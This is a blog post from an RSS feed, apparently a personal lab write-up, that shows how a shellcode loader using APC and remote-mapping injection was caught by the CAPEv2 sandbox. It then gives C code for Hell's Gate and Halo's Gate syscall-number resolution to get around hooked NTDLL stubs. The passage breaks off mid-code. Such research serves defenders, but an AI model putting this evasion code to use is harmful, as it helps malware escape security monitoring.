<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/feed_style.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="https://www.rssboard.org/media-rss">
  <channel>
    <title>Programming on ashtrace | blog</title>
    <link>https://ashtrace.github.io/tags/programming/</link>
    <description>Recent content in Programming on ashtrace | blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <copyright>Just adhere to [CC BY-NC 4.0](https://creativecommons.org/licenses/by-nc/4.0/)</copyright>
    <lastBuildDate>Sun, 31 May 2026 06:16:51 -0400</lastBuildDate><atom:link href="https://ashtrace.github.io/tags/programming/index.xml" rel="self" type="application/rss+xml" /><icon>https://ashtrace.github.io/logo.svg</icon>
    
    
    <item>
      <title>Against Runtime Analysis: Sandboxes, Syscalls and Hooks</title>
      <link>https://ashtrace.github.io/posts/sandboxes_syscalls_and_hooks/</link>
      <pubDate>Sun, 31 May 2026 06:16:51 -0400</pubDate>
      
      <guid>https://ashtrace.github.io/posts/sandboxes_syscalls_and_hooks/</guid>
      <description><![CDATA[<p>While a VirusTotal &lsquo;0&rsquo; score is satisfying, it isn&rsquo;t pragmatic to live in that world, as VT limits itself to static IoCs. Thus, naturally the next challenge was defeating runtime analysis. To build the runtime analysis lab I used <a href="https://github.com/kevoreilly/CAPEv2">CAPEv2 sandbox</a> and then tried to defeat its instrumentation capabilities through Halo&rsquo;s Gate and Indirect Syscalls. I further explored Parent Process Spoofing and Mitigation policies to restrict monitoring DLLs.</p>
<h2 id="installing-cape">Installing CAPE</h2>
<p>While my first choice was to integrate the CAPE environment with my SOC-Lab, nested virtualization was a severe roadblock, so I used a secondary machine to install CAPE on host.</p>
<p>I followed the steps mentioned in the CAPE documentation for <a href="https://capev2.readthedocs.io/en/latest/installation/host/installation.html">Installing CAPE</a> for Ubuntu 22.04 LTS and <a href="https://capev2.readthedocs.io/en/latest/installation/guest/index.html">Preparing the Guest</a> for Windows 10.</p>
<p>I&rsquo;d strongly recommend to use Ubuntu 22.04 LTS as the host OS as I faced challenges with the monolithic installation scripts on other OSs (particularly Kali Linux).</p>
<blockquote>
<p>As I wasn&rsquo;t planning to set up a hardcore malware analysis lab and wanted to just play with the instrumentations, I went with default options. Wherever the scripts asked to change <code>&lt;WOOT&gt;</code>, I used one of the options from the examples attached.</p>
</blockquote>
<h2 id="back-to-the-start">Back to the Start</h2>
<p>I started with the loader I developed by the end of the <a href="https://ashtrace.github.io/posts/stripping_iocs/">last blog</a>. I provided it with the URL to a payload to launch calculator and executable name to launch the child process which I leverage in remote mapping injection and APC injection.</p>
<p>As I detonated the loader, the sandbox easily detected the APC Injection.</p>
<p><img src="./apc-injection.png" alt="apc-injection"></p>
<p>The sandbox drew the entire process tree depicting the child process of <code>notepad.exe</code> created by my loader and the <code>calc.exe</code> executable finally launched at the end.</p>
<p><img src="./netutil-process-tree.png" alt="netutil-process-tree"></p>
<p>Skimming through the function calls traced during analysis, I discovered the sequence that showed the loader&rsquo;s operations as is:</p>
<p><img src="./netutil-nt-function-sequence.png" alt="netutil-nt-function-sequence"></p>
<table>
  <thead>
      <tr>
          <th>Function in Source Code</th>
          <th>Intercepted Call</th>
          <th>Used by the Loader for</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CreateProcessW</td>
          <td>CreateProcessInternalW</td>
          <td>To create the child process from argument #2 (here <code>notepad.exe</code>) in a suspended state for APC Injection</td>
      </tr>
      <tr>
          <td>CreateFileMappingW</td>
          <td>NtCreateSection</td>
          <td>To create a section of memory for remote-mapping injection</td>
      </tr>
      <tr>
          <td>MapViewOfFile</td>
          <td>NtMapViewOfSection</td>
          <td>To map a writable view of memory section from previous call; used to write the payload in parent process</td>
      </tr>
      <tr>
          <td>MapViewOfFile2 / MapViewOfFileNuma2</td>
          <td>NtMapViewOfSection</td>
          <td>To map an executable view of memory section in child process to run the payload written by parent process</td>
      </tr>
      <tr>
          <td>QueueUserAPC</td>
          <td>NtQueueApcThread</td>
          <td>Schedule an asynchronous procedure call to be executed as soon as the child process is removed from the suspended state.</td>
      </tr>
      <tr>
          <td>DebugActiveProcessStop</td>
          <td>NtOpenProcess</td>
          <td>Resume the process from a suspended state (see the <code>PROCESS_SUSPEND_RESUME</code> flag).</td>
      </tr>
  </tbody>
</table>
<p>As you can see that the loader sang as a cuckoo.</p>
<h2 id="deep-within-the-matryoshka-dolls">Deep within the Matryoshka Dolls</h2>
<p>Unlike the WinAPI calls used by us in the source code, almost all the functions intercepted by the sandbox started with <code>Nt</code> although with the same parameters  originally provided by us.</p>
<p>It all starts with the architecture of Microsoft Windows OS. A simple view is as follows (<a href="https://stl-tec.de/tutorials/WinReverseEng/windowsArchitecture/"><em>image credit</em></a>)</p>
<p><img src="./windows-architecture.png" alt="windows-architecture">.</p>
<p>User processes (such as our loader) leverage WinAPI functions provided by Subsystem DLLs (such as <code>KERNEL32.dll</code> providing <code>MapViewOfFile</code>) which build upon the procedures provided by <code>NTDLL.dll</code> (<code>MapViewOfFile</code> using <code>NtMapViewOfSection</code> internally) to provide access to internal features of OS. These procedures provided by <code>NTDLL.dll</code> are aptly prefixed by <code>Nt</code> (or <code>Zw</code>, read more <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines">here</a>) and are called Native API.</p>
<p>The end of a user land function call is designated by the <code>syscall</code> instruction within each of the Native APIs where the control is transferred to kernel mode, which performs tasks and returns the result.</p>
<p>Thus the Native API functions in <code>NTDLL.dll</code> are the ultimate sink where every function lands before the kernel operates on the request and thus the CAPE sandbox leverages this single entry-gate to eavesdrop on the operations by hooking on the function calls just before <code>syscall</code> instruction is executed.</p>
<p>These Native API functions are also called as syscall stubs - <code>syscall</code> being the instruction defining their existence and they are stub because they simply act as a wrapper to call the corresponding kernel routine to perform the required task in the privileged kernel mode. More often than not, these stubs have a generic design. Each kernel routine is defined by a unique number called System Service Number (SSN) or simply syscall number.</p>
<ul>
<li>Copy the function parameter in <code>RCX</code> register to protect against mangling</li>
<li>Move the System Service Number into the <code>EAX</code> register.</li>
<li>Execute <code>SYSCALL</code> to transfer control to the kernel</li>
<li><code>RET</code>urn with the result.</li>
</ul>
<p>Following are syscall stubs for <code>NtMapViewOfSection</code>, <code>ZwAccessCheckAndAuditAlarm</code> , <code>NtUnmapViewOfSection</code> and others.</p>
<p><img src="./ntdll-syscall-stubs.png" alt="ntdll-syscall-stubs"></p>
<h3 id="hooking-onto-you">Hooking onto you</h3>
<p>A function hook replaces the first few instructions from the syscall stub with an unconditional jump (<code>jmp</code> instruction) to an inspection procedure that looks upon and interacts with the parameters passed to the Native API call.</p>
<p>Thus an original stub changes from</p>
<pre tabindex="0"><code>4C:8BD1                          | mov r10,rcx                                    |
B8 50000000                      | mov eax,50                                     | SSN = 0x50
0F05                             | syscall                                        |
C3                               | ret                                            |
</code></pre><p>to</p>
<pre tabindex="0"><code>49:BA 1811A398F77F0000           | mov r10, 7FF798A31118                          | Inspection function address = 0x00007ff798a31118
41:FFE2                          | jmp r10                                        | Always go through the inspection function
</code></pre><h2 id="anti-nt-analysis">Anti Nt-Analysis</h2>
<p>While the SSN for Native API is not constant and may change between each build, it is always allocated incrementally i.e. the first Native API will have SSN 0, followed by SSN 1 and so on &hellip;, this is cleverly used by <a href="https://github.com/jthuraisamy/Syswhispers2"><code>SysWhispers2</code></a> to resolve SSNs.</p>
<p>Notice, in the previous section, how each syscall stub has the same instruction except for the SSN. Thus, each syscall stub has the same assembly bytecode except for the SSN. This can be leveraged to search the entire <code>NTDLL.dll</code> memory region for the exact byte-sequence of <code>0x4c</code>, <code>0x8b</code>, <code>0xd1</code>, <code>0xb8</code> at the start of the syscall-stub.</p>
<p>This serial searching of byte-sequence helps to retrieve the SSN from the Native API&rsquo;s bytecode and is known as the <a href="https://github.com/am0nsec/HellsGate">Hell&rsquo;s Gate</a> approach.</p>
<p>The search logic looks like the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// Quick and dirty fix in case the function has been hooked
</span></span></span><span style="display:flex;"><span>WORD cw <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (TRUE) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// check if syscall, in this case we are too far
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x0f</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x05</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// check if ret, in this case we are also probaly too far
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xc3</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// First opcodes should be :
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">//    MOV R10, RCX
</span></span></span><span style="display:flex;"><span>    <span style="color:#75715e">//    MOV RCX, &lt;syscall&gt;
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> cw) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>        BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> cw);
</span></span><span style="display:flex;"><span>        BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> cw);
</span></span><span style="display:flex;"><span>        pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    cw<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>The <code>high &lt;&lt; 8 | low</code> operation helps to reconstruct the SSN number from the 4th and 5th byte of the syscall stub.</p>
<p>But if any Native API has been tampered with hooking, the bytecode comparisons would fail and SSN won&rsquo;t be calculated.</p>
<h3 id="halo-of-the-gods">Halo of the Gods</h3>
<p>While Hell&rsquo;s Gate would help me identify and avoid hooked Native APIs, it does not provide me with a way to retrieve their SSN. Thus, if a function is hooked, there is no way to execute it and my operations stop there.</p>
<p>This problem can be solved by the Halo&rsquo;s Gate approach which combines the SysWhisper2&rsquo;s theory with the Hell&rsquo;s Gate search. As each SSN is allocated in incremental order, on encountering a hooked syscall stub I can search forward beyond the <code>syscall</code> and <code>ret</code>s while counting the numbers of stubs I&rsquo;ve encountered. Wherever I found an unhooked stub with SSN, I just subtract the numbers of stubs I walked from my target function to get here. The same can be done by searching backwards and adding the number of syscall stubs encountered.</p>
<p>A pictorial visualization (generated with AI) of the search is as follows:</p>
<p><img src="./halos-gate.png" alt="halos-gate"></p>
<p>The operation <code>(high &lt;&lt; 8 | low) +/- idx</code> builds upon the Hell&rsquo;s Gate SSN calculation by adding or subtracting the number of indexes one had to move to land to an unhooked stub (counted by <code>idx</code> variable).</p>
<p>Programmatically, the search logic appears as following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (WORD cx <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; cx <span style="color:#f92672">&lt;</span> pImageExportDirectory<span style="color:#f92672">-&gt;</span>NumberOfNames; cx<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    PCHAR pczFunctionName <span style="color:#f92672">=</span> (PCHAR)((PBYTE)pModuleBase <span style="color:#f92672">+</span> pdwAddressOfNames[cx]);
</span></span><span style="display:flex;"><span>    PVOID pFunctionAddress <span style="color:#f92672">=</span> (PBYTE)pModuleBase <span style="color:#f92672">+</span> pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (pczFunctionName <span style="color:#f92672">==</span> TargetFunctionName) {
</span></span><span style="display:flex;"><span>        pVxTableEntry<span style="color:#f92672">-&gt;</span>pAddress <span style="color:#f92672">=</span> pFunctionAddress;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// First opcodes should be :
</span></span></span><span style="display:flex;"><span>        <span style="color:#75715e">//    MOV R10, RCX
</span></span></span><span style="display:flex;"><span>        <span style="color:#75715e">//    MOV RAX, &lt;syscall&gt;
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span>            BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>            pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low;
</span></span><span style="display:flex;"><span>            
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">//if hooked check the neighborhood to find clean syscall
</span></span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xe9</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (WORD idx <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; idx <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">500</span>; idx<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall down
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">-</span> idx;
</span></span><span style="display:flex;"><span>                    
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall up
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">+</span> idx;
</span></span><span style="display:flex;"><span>                    
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xe9</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (WORD idx <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; idx <span style="color:#f92672">&lt;=</span> <span style="color:#ae81ff">500</span>; idx<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall down
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">6</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x00</span>) {
</span></span><span style="display:flex;"><span>                    BYTE high <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    BYTE low <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> DOWN);
</span></span><span style="display:flex;"><span>                    pVxTableEntry<span style="color:#f92672">-&gt;</span>wSystemCall <span style="color:#f92672">=</span> (high <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">|</span> low <span style="color:#f92672">-</span> idx;
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// check neighboring syscall up
</span></span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x4c</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x8b</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xd1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">*</span>((PBYTE)pFunctionAddress <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span> <span style="color:#f92672">+</span> idx <span style="color:#f92672">*</span> UP) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0xb8</span>
